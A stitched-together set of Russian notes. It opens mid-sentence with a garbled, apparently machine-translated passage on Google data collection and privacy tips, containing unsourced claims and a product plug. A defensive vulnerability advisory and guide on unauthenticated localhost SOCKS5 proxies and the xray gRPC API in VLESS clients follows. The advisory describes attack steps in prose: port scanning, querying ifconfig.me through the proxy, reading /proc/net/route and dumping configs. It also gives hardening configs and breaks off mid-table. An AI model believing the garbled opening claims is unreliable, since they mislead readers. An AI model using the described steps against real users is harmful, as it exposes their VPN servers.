сохранить и отправить в Google. 5) если вы используете gboard с Android по умолчанию, все, что Google сочтет достойным сбора с вашей клавиатуры 6) если вы используете приложение Google SMS, оно, вероятно, сканирует ваши сообщения так же, как и Gmail. 7) данные календаря и контакты 8) содержимое уведомлений, если они не зашифрованы 9) Они, вероятно, могли бы собрать все, что хотели, видя, как службы Google так глубоко интегрированы в средний телефон. На Calyxos с Google Services они будут собирать те же данные. Calyxos с микрог 1) Какие приложения регистрируются для уведомления Push 2) IP -адрес 3) Содержание уведомления, если оно не зашифровано 4)? **«Например, во время короткой 15-минутной прогулки по жилым окрестностям устройство Android [отправило девять запросов]([https://www.ftc.gov/system/files/documents/public_comments/2018/08/ftc-2018-0074-0018-155525.pdf](https://www.ftc.gov/system/files/documents/public_comments/2018/08/ftc-2018-0074-d-0018-155525.pdf)) на местоположение в Google. Таким образом, в совокупности содержится ~ 100 уникальных BSSIDS публичных и частных точек доступа Wi-Fi».** Это один из видов деятельности, которого избегает microG, когда вы используете его вместо снабжения Google Play Services Google [может не продавать](https://www.reddit.com/r/privacy/comments/sybbpp/what_does_google_sells_your_data_mean/) ваши данные, но многие другие делают, и не всегда очевидно, кто они. Настоящая проблема заключается в правительствах, которые не останавливают все это. Частично потому, что они этим пользуются. Как уже упоминали другие, [PRISM](https://en.m.wikipedia.org/wiki/PRISM_(surveillance_program)) — это программа наблюдения. Они могут заставить Google (или любую другую организацию по сбору данных) предоставить им ваши данные, не информируя вас об этом. Да, Google все еще может [отслеживать историю вашего поиска](https://www.quora.com/Does-Google-still-keep-track-of-your-search-history-even-if-youre-not-logged-into-your-account), даже если вы не вошли в свою учетную запись. Когда вы используете Google Services, ваши поиски могут быть связаны с вашим IP -адресом и файлами cookie Browser. Это означает, что Google может собирать данные о ваших поисках и поведении просмотра, даже без учетной записи. Тем не менее, эти данные могут не быть связаны с конкретным профилем пользователя, как если бы вы вошли в систему. Вы можете управлять настройками конфиденциальности и очистить историю поиска через свой браузер и настройки Google, если вы хотите ограничить это отслеживание. Я могу заверить вас, что Google хранит эту информацию навсегда. Представьте, что вы потеряете свой мобильный телефон в 2010 году и приобретаете новый в 2015 году. Сразу после журнала вашего Gmail попробуйте поиск через Google. Будут предложения, касающиеся ваших предыдущих поисков. Таким образом, он хранит информацию навсегда Знаете ли вы, что цена, показываемая на определенные товары и услуги (например, авиабилеты или телевизор с плоским экраном), зависит от типа устройства, которое вы используете? [Например, если вы делаете покупки с дорогого iPhone, ваша цена будет выше.](https://www.quora.com/Does-Google-have-the-right-to-collect-all-this-data-about-us) И это только начало истории. Подобные манипуляции, основанные на ваших шаблонах просмотра, привычках просмотра страниц и многом другом, используются для определения того, какой контент вам показывают на сайтах социальных сетей и в новостных лентах. Таким образом, вместо того, чтобы узнавать все стороны истории, вам будут предоставлены только те точки зрения, которые соответствуют уже имеющимся у вас взглядам, определяемым путем активного «шпионажа» за тем, что вы делаете, и — поймите — за тем, где вы находитесь и кем вы являетесь. с вами (путем сопоставления GPS-трека вашего телефона с теми, кто остается рядом с вами). Все это гораздо более манипулятивное, чем вы думаете, большая часть его направлена ​​на то, чтобы заставить вас потратить больше своих с трудом заработанных долларов на данную вещь, чем на другого человека. Как я могу остановить это? Вам нужно сделать несколько шагов… 1. Используйте хорошую виртуальную частную сеть (VPN) . Это защищает ваше фактическое местоположение в Интернете (так называемое IP-адрес) от веб-сайтов и других интернет-ресурсов, которые вы используете, и является одним из нескольких шагов, которые вам необходимо предпринять, чтобы избежать слежения в сети. Преимущество этого также заключается в защите вашей активности от вашего интернет-провайдера («ISP»), поскольку соединения между вашими устройствами и VPN-компанией зашифрованы (да, многие интернет-провайдеры регистрируют и продают вашу историю просмотров, активное время суток и т. д.). .). Просто избегайте якобы бесплатных VPN-сервисов, производительность, как правило, очень низкая. Чтобы узнать больше, выполните поиск по запросу « VPN с самым высоким рейтингом ». Типичная стоимость: 5–6 долларов в месяц. 2. Используйте хорошую программу защиты от вирусов . Их несколько, и в зависимости от того, какую операционную систему вы используете, она может быть даже встроенной. выполните поиск по запросу « антивирусные программы с самым высоким рейтингом Чтобы узнать больше, ». Типичная стоимость — несколько долларов в месяц, если что. 3. Просматривайте безопасно . Google Chrome изначально создан для извлечения данных о вас. Вместо этого используйте браузер с поддержкой конфиденциальности, например « Brave » или « Opera ». Там, где это возможно, вам также следует установить плагин для браузера под названием « Privacy Badger ». Найдите термины, выделенные курсивом, чтобы узнать больше. 4. Общаться безопасно. Есть много хороших приложений, таких как « Wickr » или « сигнал ». Ищите их, чтобы узнать больше. Тот, который я предпочитаю, называется « Merlin », потому что он позволяет вам обмениваться файлами, делать видеозвонки и отправлять сообщения в полностью зашифрованной среде. Ваш контент защищен в своем оборудовании, потому что Мерлин не нуждается в помощи, визуализируя что-либо ... безопасные зрители, редакторы и медиаплеер, так что все остается зашифровано все время. Это также зашифровано на устройствах людей, на которые вы отправляете вещи, сохраняя их безопасность. Кроме того, он имеет полнофункциональный зашифрованный файловый диспетчер, чтобы организовать все. Поиск « merlin.world » (с точкой между Мерлином и Миром), чтобы узнать больше. Есть бесплатная версия. 5. Убедитесь, что то, что называется WEBRTC, выключено в вашем браузере. Если осталось на нем, может раскрыть ваш истинный IP -адрес, даже когда вы используете VPN. В зависимости от используемого вами браузера, есть настройки или плагины, которые отключат это. Большинство бесплатны. 6. Используйте поисковую систему, которая не отслеживает вас , такую ​​как « Startpage » или « DuckDuckgo ». Поиск курсивных терминов, чтобы узнать больше. Это бесплатные услуги. 7. Всегда обновляйте свои устройства ! Не игнорируйте эти исправления безопасности, а также обновления приложений и операционной системы, они действительно имеют значение. Обновления, как правило, бесплатны. 8. Отключите передачу местоположения на всех своих мобильных устройствах . Ваше погодное приложение даст вам точный прогноз, просто зная ваш почтовый индекс, ему не нужно ваше поминутное местоположение по GPS. То же самое происходит практически со всеми другими приложениями, которые вы используете, даже с такими, казалось бы, невинными, как некоторые приложения-фонарики, которые бесплатны, поскольку фактически собирают данные с вашего устройства. То, что вы говорите в своих текстовых сообщениях и содержание вашей адресной книги, не должно касаться никого, кроме вас. Выключите все это. Это не стоит ничего, кроме немного времени! - Каждое электронное письмо, проходящее через Gmail — как исходящее, так и входящее — сканируется и анализируется, чтобы лучше классифицировать вас для рекламодателей. Это включало открытие и сканирование всех вложенных файлов, таких как налоговые декларации, банковские выписки, контракты и все остальное. - Ваше местоположение отслеживается приложениями Google в минуту и ​​в некоторых условиях самой операционной системой Android. Это помогает Google определить, где вы делаете покупки, с кем вы ассоциируете (сравнивая треки GPS) и где и как вы путешествуете. - Около половины всех веб -сайтов всего Интернета используют Google Analytics, чтобы отслеживать посетителей. Веб -сайты в основном получают анонимные данные, но с помощью отслеживания IP -адресов и отпечатков пальцев браузеров Google точно знает, кто вы, какие веб -страницы вы открываете и как долго вы тратите на каждый. - Если вы используете поисковую систему Google, Google точно знает, какие термины поиска вы вводите, и анализирует их, чтобы лучше классифицировать вас. Точно так же, если вы смотрите видео на YouTube. Вы можете сделать потрясающие выводы, просто заметив, что люди ищут или смотрят. - Если вы используете Карты Google или Google Планета Земля, Google запоминает каждое место, где вы ищете, и именно все, что вы просматриваете в Просмотре улиц. Технологический гигант фактически превратил миллионы смартфонов своих пользователей в подслушивающие устройства, которые могут записывать интимные разговоры, даже когда их нет в комнате. Если у вас есть телефон Android, вполне вероятно, что вы использовали помощник Google Google, который говорит, что он только включается и начинает записывать, когда вы произносите слова «ОК, Google». Но расследование солнца показало, что виртуальный помощник немного услышан. В некоторых случаях просто сказать «ОК» в разговоре побудило его включить свой телефон и записать около 20 секунд звука. [Он регулярно включает микрофон](https://www.quora.com/Is-Google-secretly-collecting-our-information-data), пока вы занимаетесь повседневными делами, и ничего не понимаете. После завершения записи Google загружает аудиофайлы на свои компьютерные серверы, которые часто называют «облаком». Это означает, что любое устройство, на котором выполнен вход в вашу личную учетную запись Gmail или Google, может получить доступ к библиотеке ваших самых сокровенных и темных секретов. Так что, если вы сейчас используете ноутбук и вошли в Gmail, вы можете послушать. --- Всякая хуйня автора --- --- date: tags: link: aliases: img: --- ## SMS ```embed title: "Скрытые угрозы SMS: сотовый оператор знает слишком много" image: "https://habr.com/share/publication/451360/d8bef64c9f106b2d934aad5c3aba92cc/" description: "Рассказываем о потенциальной угрозе безопасности и приватности при использовании SMS. «Исторически так сложилось» Кто впервые сталкивался с мобильным телефоном, помимо звонков, узнавал о наличии…" url: "https://habr.com/ru/companies/hidemy_name/articles/451360/" ``` ```embed title: "Attention Required! | Cloudflare" image: "" description: "" url: "https://smspva.com/service/ai-platform/country/usa" favicon: "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABRklEQVR42mKgOqjq75ds7510YNL0uV9nAGqniqwKYiCIHIIjcAK22BGQLRdgBWvc3fnWk/FJhrkPO1xPgGvqPfLfJMHhT1yqurvS48bPaJhjD2efgidnVwa2yv59xecvEvi0UWCXq9t0ItfP2MMZ7nwIpkA8F1n8uLxZHM6yrBH7FIl2gFXDHYsErkn2hyKLHtcKrFntk58uVQJ+kSdQnmjhID4cwLLa8+K0BXsfNWCqBOsFdo2Yldv43DBrkxd30cjnNyYBhK0SQGkI9pG4Mu40D5b374DRCAyhHqXVfTmOwivivMkJxBz5wnHCtBfGgNFC+ChWKWRf3hsQIlyEoIv4IYEo5wkgtBLRekY9DE4Uin4Keae6hydGnljPmE8kRcCine6827AMsJ1IuW9ibnlQpXLBCR/WC875m2BP+VSu3c/0m+8V08OBngc0pxcAAAAASUVORK5CYII=" parser: "local" date: "2026-05-02" custom_date: "2026-05-02 19:22:16" ``` ```embed title: "Виртуальные номера для регистрации и приёма СМС онлайн" image: "https://cloud.simdrop.io/s3/other-files/graph.png" description: "Получайте СМС онлайн на виртуальный номер — с полной защитой личного номера. Подходит для регистрации, верификации и тестирования сервисов по всему миру. Мгновенная активация, доступные цены, охват более 100 стран." url: "https://simdrop.io/ru/activations" favicon: "https://simdrop.io/favicon.png" aspectRatio: "31.25" parser: "local" date: "2026-05-02" custom_date: "2026-05-02 19:22:25" ``` --- # Критическая уязвимость VLESS-клиентов: неаутентифицированный SOCKS5 на localhost **Дата публикации:** 7 апреля 2026 **Источник:** [runetfreedom — ntc.party](https://ntc.party/t/topic/), [Habr](https://habr.com/ru/articles/1020080/) **POC:** [github.com/runetfreedom/per-app-split-bypass-poc](https://github.com/runetfreedom/per-app-split-bypass-poc) **Severity:** Critical (массовая эксплуатация неизбежна) --- ## TL;DR Все популярные VLESS/xray/sing-box клиенты создают на localhost SOCKS5-прокси **без аутентификации**. Любое приложение-шпион на устройстве может подключиться к нему напрямую (минуя VpnService и per-app split tunneling), отправить запрос через прокси и узнать **выходной IP VPN-сервера**. Android Private Spaces (Knox, Shelter, Island) **не защищают** — loopback-интерфейс общий. Минцифры РФ разослало методичку по обнаружению VPN, включая сканирование характерных портов. --- ## 1. Предпосылки Минцифры РФ официально потребовало от аккредитованных российских IT-компаний внедрения шпионских модулей в свои продукты для обнаружения и блокировки персональных VPN. Выпущена подробная методичка, описывающая: - Какие порты сканировать для обнаружения прокси - Какие VPN-признаки искать (флаги, интерфейсы, паттерны трафика) - Какую информацию собирать и передавать **Характерные Proxy-порты из методички Минцифры:** | Тип | Порты | |-----|-------| | SOCKS | 1080, 9000, 5555, 16000-16100 | | HTTP | 80, 443, 3128, 3127, 8000, 8080, 8081, 8888 | | Прозрачные Proxy | 80, 443, 4080, 7000/7044, 8082, 12345 | | Tor | 9050, 9051, 9150 | > Примечание: стандартные порты xray-клиентов (10808, 10809, 2080) в методичке пока не указаны, но скан всех портов localhost занимает секунды. Яндекс **уже использовал** подобную технику ранее ([[Localhost-tracking-Meta-Yandex-SOCKS5|сканирование localhost для обнаружения прокси]]). **Обновление (апрель 2026):** Зафиксированы случаи активного подавления VPN-соединений сервисами Яндекса. При работе Яндекс.Музыки на мобильном интернете VPN-соединение через NekoBox (sing-box) принудительно сбрасывается. Переход на другой VPN-клиент (Karing) решает проблему, что указывает на fingerprinting конкретных VPN-протоколов/клиентов на уровне DPI. --- ## 2. Архитектура VPN-клиентов на Android ### Нормальная цепочка прохождения трафика ``` Приложение ↓ VpnService (Android системный API) ↓ tun2socks (TUN-интерфейс → SOCKS) ↓ xray/sing-box SOCKS5 (localhost:10808) ↓ VPN-сервер (VLESS/Trojan/SS) ↓ Интернет (freedom) ``` **VpnService** — системный механизм Android, перехватывающий весь сетевой трафик и перенаправляющий его в TUN-интерфейс. Через него реализуется per-app split tunneling — выбор, какие приложения идут через VPN. ### Ключевая деталь SOCKS5-прокси xray/sing-box — это **отдельный TCP-сервер**, слушающий на `127.0.0.1:PORT`. Он доступен **любому процессу** на устройстве через loopback, **независимо от VpnService**. --- ## 3. Суть уязвимости ### Атака ``` ┌─ Обычное приложение → VpnService → tun2socks ──┐ │ ↓ │ xray SOCKS5 (:10808) → VPN-сервер → Интернет │ ↑ └─ Шпион (Яндекс/WB/Ozon/...) ─→ localhost:10808 ─┘ (минуя VpnService, split tunneling не работает) ``` **Шаг 1.** Шпионский модуль сканирует порты localhost. Полный скан 65535 портов на loopback — **секунды**, нулевая нагрузка. Можно сканировать по триггеру (VPN-флаг системы). **Шаг 2.** Найдя открытый SOCKS5 без аутентификации, шпион подключается и отправляет запрос на `ifconfig.me` (или аналог). **Шаг 3.** Ответ содержит **выходной IP VPN-сервера**. IP передаётся в РКН → сервер блокируется. ### Почему не помогает per-app split tunneling Split tunneling работает через VpnService, который управляет TUN-интерфейсом. Но прямое подключение к `127.0.0.1:10808` **не проходит через TUN** — это внутренний loopback, он не маршрутизируется через VPN. ### Почему не помогают приватные пространства (Knox/Shelter/Island) Android Private Spaces изолируют: - ✅ Файловую систему - ✅ VpnService (отдельный VPN-профиль) - ❌ **Loopback-интерфейс НЕ изолирован** Процесс из Knox/Shelter **видит** `127.0.0.1:10808` основного профиля. Это создаёт **ложное чувство безопасности**. ### Почему смена порта не помогает > «Достаточно заменить порты на рандомные» — нет. Скан портов на localhost занимает секунды. Шпиону не нужно знать порт заранее — он проверит все открытые порты и попробует SOCKS5 handshake на каждом. ### Метод /proc/net/route: IP VPN-сервера раскрыт через таблицу маршрутизации Помимо сканирования портов, существует ещё более простой метод обнаружения IP VPN-сервера: Когда VPN активен, Android создаёт **host route** (маска /32 = `255.255.255.255`) для IP VPN-сервера через **реальный сетевой интерфейс** (wlan0/rmnet0), минуя TUN-интерфейс VPN. Это необходимо, чтобы пакеты VPN-туннеля доходили до сервера через физическую сеть. ``` $ cat /proc/net/route Iface Destination Gateway Flags Mask tun0 00000000 00000000 ... 00000000 ← default через VPN wlan0 B9A5C041 0201A8C0 ... FFFFFFFF ← host route к 65.197.165.185 через WiFi ``` **Любое приложение может прочитать `/proc/net/route` без root.** Это раскрывает IP VPN-сервера для **ВСЕХ типов VPN**: - WireGuard / Amnezia VPN (UDP) - OpenVPN (TCP/UDP) - xray / VLESS / Trojan (TCP) - IPSec / IKEv2 **Работает даже при раздельном туннелировании** — маршрут к серверу всегда проходит через реальный интерфейс, иначе VPN-туннель не смог бы функционировать. Вместе с `/proc/net/udp` и `/proc/net/tcp` (которые показывают ESTABLISHED-соединения всех приложений) шпион получает: - IP и порт VPN-сервера - UID приложения-владельца (→ имя пакета через `PackageManager.getPackagesForUid()`) - Протокол (TCP/UDP → угадать тип VPN: UDP:51820 = WireGuard, TCP:443 = VLESS) --- ## 4. Happ: отдельная категория опасности Клиент Happ (iOS) помимо уязвимого SOCKS5 включает **xray gRPC API с HandlerService БЕЗ аутентификации**. ### Что такое xray API xray-core поддерживает gRPC API с несколькими сервисами: | Сервис | Назначение | Опасность | |--------|-----------|-----------| | **StatsService** | Статистика трафика, онлайн-пользователи | Низкая | | **LoggerService** | Управление логированием | Низкая | | **HandlerService** | Управление inbound/outbound, добавление/удаление пользователей, **дамп конфигурации** | 🔴 **КРИТИЧЕСКАЯ** | | **RoutingService** | Управление правилами маршрутизации | Средняя | | **ReflectionService** | Список доступных API-методов | Средняя | ### Что позволяет HandlerService - Дампить **полные конфиги outbound** (включая ключи шифрования, IP сервера, SNI) - Добавлять/удалять inbound и outbound - Управлять пользователями протоколов (VMess, VLESS, Trojan, Shadowsocks) - Получать список всех inbound/outbound ### Цепочка атаки на пользователей Happ ``` Шпион → скан портов → находит API (gRPC) → HandlerService → дамп outbound конфига → извлечение: ключ + IP сервера + SNI → [+ вторая уязвимость конфигурации] → расшифровка трафика ``` ### Позиция разработчиков Happ Заявили, что API нужен для «сбора статистики подключения». Это **ложь** — для статистики достаточно `LogService` или `StatsService`. HandlerService предоставляет полный контроль над конфигурацией. Реверс-инжиниринг показал: при смене конфига Happ **перезапускает xray целиком**, а не использует HandlerService для hot-swap. Легитимного применения HandlerService не найдено. ### Рекомендация - **Немедленно прекратить использование Happ** - Заблокировать Happ на серверах подписок по UserAgent: `Happ/*` - Один пользователь с Happ компрометирует **весь сервер** (включая входной IP и SNI) ### Подписочная система НЕ защищает Распространённое заблуждение: «мой сервер на подписке, его не найдут». Это не так. Через xray gRPC API (HandlerService) любое приложение на устройстве получает **полную конфигурацию VPN-подключения**: | Поле | Пример | Что это даёт шпиону | |------|--------|---------------------| | `protocolName` | splithttp | Протокол транспорта | | `address:port` | server.amazonaws.com:443 | **Адрес сервера → заблокировать** | | `uuid` | f7fd6ed1-8cbb-... | **UUID → клонировать подключение** | | `reality sni` | checkip.amazonaws.com | SNI → идентификация | | `reality publicKey` | qTdiDYiav3Rtv0kw... | **Публичный ключ** | **Подписка = сервер + UUID + ключи. Всё это хранится в xray-core и отдаётся через gRPC API без пароля.** Любое приложение может прочитать вашу платную подписку целиком и передать данные для блокировки. Доказательство: приложение [per-app-split-bypass-poc](https://github.com/runetfreedom/per-app-split-bypass-poc) демонстрирует полный дамп конфигурации через xray API на Android. --- ## 5. Техническая документация: аутентификация SOCKS5 ### xray-core: конфигурация SOCKS5 inbound #### Без аутентификации (уязвимая конфигурация) ```json { "tag": "socks-in", "listen": "127.0.0.1", "port": 10808, "protocol": "socks", "settings": { "auth": "noauth", "udp": true } } ``` #### С аутентификацией (безопасная конфигурация) ```json { "tag": "socks-in", "listen": "127.0.0.1", "port": 10808, "protocol": "socks", "settings": { "auth": "password", "accounts": [ { "user": "randomUser_a8f3b2", "pass": "randomPass_7c4e91d0" } ], "udp": false } } ``` **Поля:** | Поле | Тип | Значение | |------|-----|----------| | `auth` | `"noauth"` / `"password"` | Режим аутентификации. По умолчанию `"noauth"` | | `accounts` | `[{user, pass}]` | Массив учётных записей. Работает только при `auth: "password"` | | `udp` | `boolean` | Включение UDP. **Важно:** UDP в SOCKS5 фактически работает без авторизации | | `ip` | `string` | Локальный IP для UDP-соединений | | `userLevel` | `number` | Уровень пользователя для политик | > ⚠️ **SOCKS5 UDP проблема:** протокол SOCKS5 аутентифицирует только TCP-соединение. UDP ASSOCIATE команда привязывает UDP-порт, но сами UDP-пакеты **не проходят повторную аутентификацию**. Для полной защиты UDP нужно отключать. ### sing-box: конфигурация SOCKS/mixed inbound #### Без аутентификации (уязвимая конфигурация) ```json { "type": "mixed", "tag": "mixed-in", "listen": "0.0.0.0", "listen_port": 2080 } ``` #### С аутентификацией (безопасная конфигурация) ```json { "type": "mixed", "tag": "mixed-in", "listen": "127.0.0.1", "listen_port": 2080, "users": [ { "username": "randomUser_d4c1a7", "password": "randomPass_9e2f5b83" } ] } ``` **Поля:** | Поле | Тип | Значение | |------|-----|----------| | `type` | `"socks"` / `"mixed"` | `mixed` поддерживает SOCKS4/4a/5 и HTTP | | `users` | `[{username, password}]` | Массив учётных записей. Без этого поля — без аутентификации | | `listen` | `string` | Адрес прослушивания | | `listen_port` | `number` | Порт | | `set_system_proxy` | `boolean` | Автоматическая настройка системного прокси (Linux/Android/Windows/macOS) | > Примечание: sing-box **не создаёт mixed inbound автоматически** — это делают клиенты и генераторы конфигов. Позиция разработчика sing-box: это «skill issue» клиентов. --- ## 6. Статус проверенных клиентов Уведомление разработчикам разослано **10 марта 2026**. Статус на 7 апреля 2026: | Клиент | Платформа | Ядро | SOCKS5 auth | Статус | Примечание | |--------|-----------|------|-------------|--------|------------| | **Happ** | iOS | xray | ❌ Нет | 🔴 **Особо опасен** | API HandlerService без авторизации, дамп конфигов | | **v2RayTun** | Android | xray | ❌ Нет | 🟡 Уязвим | Разработчик поблагодарил, обещал исправить | | **V2BOX** | iOS/Android | xray | ❌ Нет | 🟡 Уязвим | | | **v2rayNG** | Android | xray | ❌ Нет | 🟡 Уязвим | Порт 10808 по умолчанию | | **Hiddify** | Android/iOS | sing-box | ❌ Нет | 🟡 Уязвим | | | **Exclave** | iOS | xray | ❌ Нет | 🟡 Уязвим | | | **Npv Tunnel** | Android | xray | ❌ Нет | 🟡 Уязвим | | | **Neko Box** | Android | sing-box | ❌ Нет | 🟡 Уязвим | Порт 2080 по умолчанию | | **Karing** | Android/iOS | sing-box | ❌ Нет | 🟡 Уязвим | Порты 3065-3067, можно добавить auth вручную | | **v2rayN** | Windows | xray | ❌ Нет | 🟡 Уязвим | Можно менять порт, но не добавить auth | | **Husi** | Android | sing-box | ✅ Есть | 🟢 Можно настроить | Login/pass на SOCKS | | **SFA (sing-box for Android)** | Android | sing-box | ✅ Есть | 🟢 Можно настроить | Ручная настройка JSON | | **Xray (saeeddev94)** | Android | xray | ✅ Есть | 🟢 Можно настроить | F-Droid, ручной JSON конфиг | --- ## 7. Статус XrayFluent (наш клиент) ### Текущая конфигурация **Файл:** `xray_fluent/engines/xray/config_builder.py`, строки 191-206 ```python { "tag": "socks-in", "listen": PROXY_HOST, # 127.0.0.1 "port": int(socks_port), # 10808 "protocol": "socks", "settings": { "auth": "noauth", # ❌ БЕЗ АУТЕНТИФИКАЦИИ "udp": True, # ⚠️ UDP включён }, "sniffing": { "enabled": True, "destOverride": ["http", "tls", "quic"], "routeOnly": True, }, } ``` **Константы** (`xray_fluent/constants.py`): - `PROXY_HOST = "127.0.0.1"` — только localhost ✅ - `DEFAULT_SOCKS_PORT = 10808` — стандартный порт ⚠️ - `DEFAULT_HTTP_PORT = 10809` — HTTP тоже без auth ⚠️ - `DEFAULT_XRAY_STATS_API_PORT = 19085` — API порт ⚠️ **Шаблоны** (`data/templates/xray/default.json`): - Слушают на `0.0.0.0` — **хуже рантайма**, доступны из сети ❌ ### Смягчающие факторы XrayFluent — **десктопный Windows-клиент**, поэтому: 1. Windows Firewall может блокировать доступ к localhost из других приложений (но не по умолчанию для loopback) 2. xray routing rules с `process name` позволяют ограничить доступ 3. Нет VpnService-подобного механизма — атака через loopback менее вероятна ### Что нужно исправить 1. Добавить `"auth": "password"` с рандомными credentials (генерировать при каждом запуске) 2. Отключить UDP или реализовать UDP auth 3. Исправить шаблоны: заменить `0.0.0.0` на `127.0.0.1` 4. Проверить, какие API-сервисы включены (не должно быть HandlerService) 5. Добавить настройку в UI для включения/отключения SOCKS5 auth --- ## 8. [[VLESS-localhost-protection-guide|Защитные меры]] ### Для пользователей (клиентская сторона) **На Android:** 1. Использовать клиенты с поддержкой SOCKS5 auth (Husi, SFA, saeeddev94/xray) 2. Если root: блокировать доступ к localhost через iptables для недоверенных приложений 3. **Немедленно удалить Happ** и заблокировать на серверах подписок 4. Держать российское ПО на **отдельном устройстве** 5. Не полагаться на Knox/Shelter/Island — loopback не изолирован **На Windows:** 1. Настроить Windows Firewall для блокировки доступа к портам 10808/10809 для всех процессов кроме xray.exe и доверенных приложений 2. Использовать рандомные порты (не 10808) 3. В xray routing rules добавить `process name` для разрешённых приложений **На iOS:** 1. Ситуация сложная — большинство клиентов удалено из App Store и не получит обновлений 2. Единственный вариант — клиенты с возможностью ручной настройки JSON (если доступны) ### Для администраторов серверов 1. **Раздельные входной/выходной IP** — если утёк выходной, входной продолжает работать 2. **CloudFlare WARP на выходе** — как альтернатива второму IP: `xray → WARP → интернет` 3. **geoip:ru → block на сервере** — заблокировать исходящий трафик на российские IP, чтобы шпионы не могли связать паттерн трафика с подключением 4. **Блокировка Happ по UserAgent**: `Happ/*` на серверах подписок 5. **Мониторинг** — отслеживать нетипичные запросы (ifconfig.me, ipinfo.io и аналоги) через прокси ### Для разработчиков клиентов 1. **SOCKS5 auth по умолчанию** — генерировать рандомные credentials при каждом запуске 2. **Отключить UDP** в SOCKS5 или реализовать UDP-level auth 3. **Не включать xray API HandlerService** — для статистики достаточно StatsService/LogService 4. **Не слушать на 0.0.0.0** — только 127.0.0.1 5. **Рандомизировать порт** — не использовать стандартные 10808/2080/1080 ### Маршрутизация (клиентская сторона) Рекомендуемая стратегия на клиенте: ``` geoip:ru → direct (российские IP напрямую) geoip:private → direct (локальные сети) всё остальное → proxy (через VPN) ``` На сервере: ``` geoip:ru → block (запретить выход на российские IP) всё остальное → freedom (разрешить) ``` > В v2rayN для Windows эта стратегия уже реализована как пресет «Все, кроме РФ». --- ## 9. Технические детали: xray API (для понимания угрозы Happ) ### Формат конфигурации API ```json { "api": { "tag": "api", "services": [ "HandlerService", "LoggerService", "StatsService", "RoutingService" ] } } ``` ### gRPC методы HandlerService | Метод | Описание | Опасность | |-------|----------|-----------| | `AddInbound` | Добавить новый inbound | Высокая | | `RemoveInbound` | Удалить inbound | Высокая | | `AlterInbound` | Изменить inbound | Высокая | | `AddOutbound` | Добавить outbound | Высокая | | `RemoveOutbound` | Удалить outbound | Высокая | | `AlterOutbound` | Изменить outbound | Высокая | | `GetInboundUsers` | Получить список пользователей inbound | Критическая | | `GetInboundUsersCount` | Количество пользователей | Низкая | ### Как это эксплуатируется 1. Шпион находит gRPC API на localhost (скан портов) 2. Вызывает ReflectionService для получения списка методов 3. Через HandlerService дампит outbound — получает ключ, IP, SNI 4. В сочетании с уязвимостью конфигурации xray → **расшифровка трафика** > О второй уязвимости автор намеренно не раскрывает деталей. --- ## 10. Источники - [Статья на ntc.party](https://ntc.party/) — оригинальная публикация runetfreedom - [Habr: Критическая уязвимость VLESS клиентов](https://habr.com/ru/articles/1020080/) - [POC: per-app-split-bypass](https://github.com/runetfreedom/per-app-split-bypass-poc) - [xray-core SOCKS inbound docs](https://xtls.github.io/en/config/inbounds/socks.html) - [xray-core API docs](https://xtls.github.io/en/config/api.html) - [sing-box SOCKS inbound docs](https://sing-box.sagernet.org/configuration/inbound/socks/) - [sing-box Mixed inbound docs](https://sing-box.sagernet.org/configuration/inbound/mixed/) - [XTLS BBS: Malicious Activity of Closed-Source Xray Clients](https://github.com/XTLS/BBS/issues/8) - [Meduza: Минцифры разослало методичку по VPN](https://meduza.io/news/2026/04/06/mintsifry-razoslalo-rossiyskim-kompaniyam-metodichku-po-poisku-vpn-na-ustroystvah-polzovateley) --- # Практическое руководство: защита VPN от localhost-атаки **Дата:** 7 апреля 2026 **Контекст:** Уязвимость VLESS-клиентов + эксплуатация localhost Meta/Яндексом **Аудитория:** Пользователи VPN, администраторы серверов, разработчики клиентов **Связанные заметки:** - [Уязвимость VLESS-клиентов](VLESS-SOCKS5-vulnerability.md) - [Localhost-трекинг Meta/Яндекс](Localhost-tracking-Meta-Yandex-SOCKS5.md) --- ## Оглавление 1. [Суть проблемы за 30 секунд](#1-суть-проблемы-за-30-секунд) 2. [Проверенные клиенты: кто уязвим, кто нет](#2-проверенные-клиенты-кто-уязвим-кто-нет) 3. [Что делать пользователям Android](#3-что-делать-пользователям-android) 4. [Что делать пользователям Windows](#4-что-делать-пользователям-windows) 5. [Что делать пользователям iOS](#5-что-делать-пользователям-ios) 6. [Что делать администраторам серверов](#6-что-делать-администраторам-серверов) 7. [Конфигурации: xray-core клиент](#7-конфигурации-xray-core-клиент) 8. [Конфигурации: sing-box клиент](#8-конфигурации-sing-box-клиент) 9. [Конфигурации: xray-core сервер](#9-конфигурации-xray-core-сервер) 10. [Конфигурации: CloudFlare WARP на сервере](#10-конфигурации-cloudflare-warp-на-сервере) 11. [Конфигурации: блокировка geoip:ru на сервере](#11-конфигурации-блокировка-geoipru-на-сервере) 12. [Конфигурации: маршрутизация «Всё кроме РФ» на клиенте](#12-конфигурации-маршрутизация-всё-кроме-рф-на-клиенте) 13. [Блокировка Happ на сервере подписок](#13-блокировка-happ-на-сервере-подписок) 14. [**ГАЙД: v2rayNG — как защититься**](#14-гайд-v2rayng--как-защититься) 15. [**ГАЙД: NekoBox — как защититься**](#15-гайд-nekobox--как-защититься) 16. [**ГАЙД: Clash/mihomo — как защититься**](#16-гайд-clashmihomo--как-защититься) 17. [Фаерволы на Android: что реально работает](#17-фаерволы-на-android-что-реально-работает) 18. [FAQ: hev-socks5-tunnel, Karing, Husi, v2rayN](#18-faq-hev-socks5-tunnel-karing-husi-v2rayn) 19. [CVE-2023-43644: обход аутентификации sing-box](#19-cve-2023-43644-обход-аутентификации-sing-box) 20. [Чеклист действий](#20-чеклист-действий) --- ## 1. Суть проблемы за 30 секунд Все VPN-клиенты на базе xray/sing-box создают на телефоне/компьютере **локальный SOCKS5-прокси без пароля**. Любое приложение-шпион (Яндекс, WB, Ozon, гос.приложения) может: 1. Найти этот прокси за секунды (скан портов localhost) 2. Подключиться без пароля 3. Узнать IP вашего VPN-сервера 4. Передать IP в РКН → сервер заблокирован **Knox, Shelter, Island, режим инкогнито, split tunneling — НЕ помогают.** Скриншот POC-приложения с включённой SOCKS5-аутентификацией (Husi): ``` Per-app split tunnel bypass Status: VPN not found ← прокси не обнаружен Direct IP: xxx.xxx.xxx.xxx IP via proxy: - ← не смог подключиться Xray API: Not found ← API недоступен ``` **Вывод:** аутентификация работает — POC не смог пробиться через запароленный SOCKS5. --- ## 2. Проверенные клиенты: кто уязвим, кто нет ### Android | Клиент | Ядро | Порт | SOCKS5 auth | Статус | Что делать | |--------|------|------|-------------|--------|------------| | **v2rayNG** 2.0.0 | xray | 10808 | ❌ Нет в 